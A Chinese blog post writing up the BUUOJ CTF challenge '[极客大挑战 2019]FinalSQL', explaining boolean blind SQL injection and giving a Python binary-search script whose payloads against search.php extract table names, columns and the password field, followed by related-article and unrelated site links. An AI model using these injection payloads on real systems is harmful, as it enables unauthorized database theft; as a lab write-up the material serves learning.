[极客大挑战 2019]FinalSQL 1

这篇主要是考察布尔盲注,而且他很贼,弄了两个输入框,但过滤的东西很多;真正的注入点在search.php传入的参数。说来惭愧,之前就做过布尔盲注的题目,结果又遇到了,一点都记不得了,还是得写个博客记一下。

布尔盲注

页面需要支持对布尔信息的回显,如True返回”Hello“,False返回“Wrong”。

原理

布尔盲注的过程中有点像猜单词的游戏,A心里想一个单词,B不断询问,A只能说‘是’或者‘不是’。

如A想一个单词apple。

B的问题 A的回答
第一个字母小于H吗?
第一个字母小于D吗?
第一个字母小于B吗?

至此,B已经知道了第一个字母是A。在这个过程中,B还可以使用二分法,加快得到答案。

代码层面

使用函数

函数名 函数作用
ascii(char a) 返回'a'的ascii码
substr(char *str, int start_pos, int num) 截取str的start_pos位置开始(包括str[start_pos])num个字符,在布尔注入中一般在循环中这样substr(str, i, 1),用于获取第i位置的字符
left(char * str, int num) 返回字符串str从左起num个字符, 布尔注入中,便需要拼接上一步的结果,不似substr方便
length(char *str) 获取字符串长度,一般在具体开始查询前,先查下字符串有几位

使用语句

一般格式如下, 意思是检查目标的第i位是不是n。

1 ^ (ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n)
语句 功能拆解
select columnA from tableA 目标数据
substr((select columnA from tableA), i【循环中的第i位】, 1) 目标数据的第i位
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) 目标数据的第i位的ascii码
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) == n 目标数据的第i位的ascii码是不是等于n
ascii( substr((select columnA from tableA), i【循环中的第i位】, 1)) > n 目标数据的第i位的ascii码是不是大于n(二分法)

这里的1^也可以看情况换成正常的and或者or

本题代码

直接搬得这个哥们的二分代码

import requests
# 使用二分法
url = ''
flag = ''
MaxLen = 250
for i in range(1,MaxLen):# range(1, 11) 从 1 开始到 11,[1, 2, 3, 4, 5, 6, 7, 8, 9, 10] range(0, 30, 5) 步长为 5 [0, 5, 10, 15, 20, 25]
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" %(i,mid)
# payload = "http://7407ade4-c95c-4ed8-921b-7a5d559a623c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
res = requests.get(url=payload)
if 'ERROR' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

看着答案一点点出来还是蛮爽的

[极客大挑战 2019]FinalSQL 1的更多相关文章

  1. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  2. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  3. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  4. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  5. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  6. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  7. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  8. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

  9. [极客大挑战 2019]HardSQL

    0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...

  10. [极客大挑战 2019]Upload

    0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: ...

随机推荐

  1. 【FAQ】HarmonyOS SDK 闭源开放能力 —Push Kit(9)

    1.问题描述: 通过push token向鸿蒙手机推送一条通知,收到通知后,通知右侧不展示图片. 解决方案: 检查一下是否存在图片风控:https://developer.huawei.com/con ...

  2. 数据挖掘 | 数据隐私(1) | 差分隐私 | 挑战数据隐私(Some Attempts at Data Privacy)

    L1-Some Attempts at Data Privacy 本随笔基于Gautam Kamath教授的系列课程:CS 860 - Algorithms for Private Data Anal ...

  3. Ubuntu 22.04 添加 AppImage 到应用程序

    前言 AppImage 逐渐成为 Linux 常用的一种软件包格式,本文将介绍如何将 AppImage 文件添加到 Ubuntu 的应用程序中. 如下图中的 CAJViewer : 操作过程 设置相关 ...

  4. Ollama+DeepSeek+SlackBot

    技术背景 想必最近有在部署DeepSeek大模型的人,看标题就知道这篇文章在做什么事情了.由于Ollama对于IP的监听缺乏安全防护,并且内网部署的Ollama模型对于外网来说也是不可见的,而如果使用 ...

  5. Web前端入门第 5 问:写一个 Hello, World! 踹开程序开发的大门

    创建一个文件夹,并打开文件夹,在文件夹中创建一个 5.txt 文件,双击打开记事本编辑. 输入 Hello, World! , Ctrl + s 保存. 修改文件名为 5.html . 打开浏览器,将 ...

  6. go json omitempty 关键字 脱坑

    用法 大家对于 json 和 struct 之间的转换一定不陌生,为了将代码中的结构体与 json 数据解耦,通常我们会在结构体的 field 类型后加上解释说明,例如在表示一个地址的时候, json ...

  7. 全国省市区基础数据SQL插入脚本

    整理了一份全国省市区SQL插入脚本,并配上抓取数据读取插入数据库源码,附件下载地址:https://files.cnblogs.com/files/101Love/Region.rar

  8. 【C语言】解决初始化数组时报错“undefined reference to `memcpy'”

    [C语言]解决初始化数组时报错"undefined reference to `memcpy'" 零.报错 代码: char start[] = {0xd, 0xa, 0xb3, ...

  9. Kubernetes基础教程-通过部署Nginx快速学习基本使用命令

    1.验证节点信息 1.1.查看控制平面组件的状态 [root@linux-servertwo software]# kubectl get cs Warning: v1 ComponentStatus ...

  10. AI可解释性 II | Saliency Maps-based 归因方法(Attribution)论文导读(持续更新)

    AI可解释性 II | Saliency Maps-based 归因方法(Attribution)论文导读(持续更新) 导言 本文作为AI可解释性系列的第二部分,旨在以汉语整理并阅读归因方法(Attr ...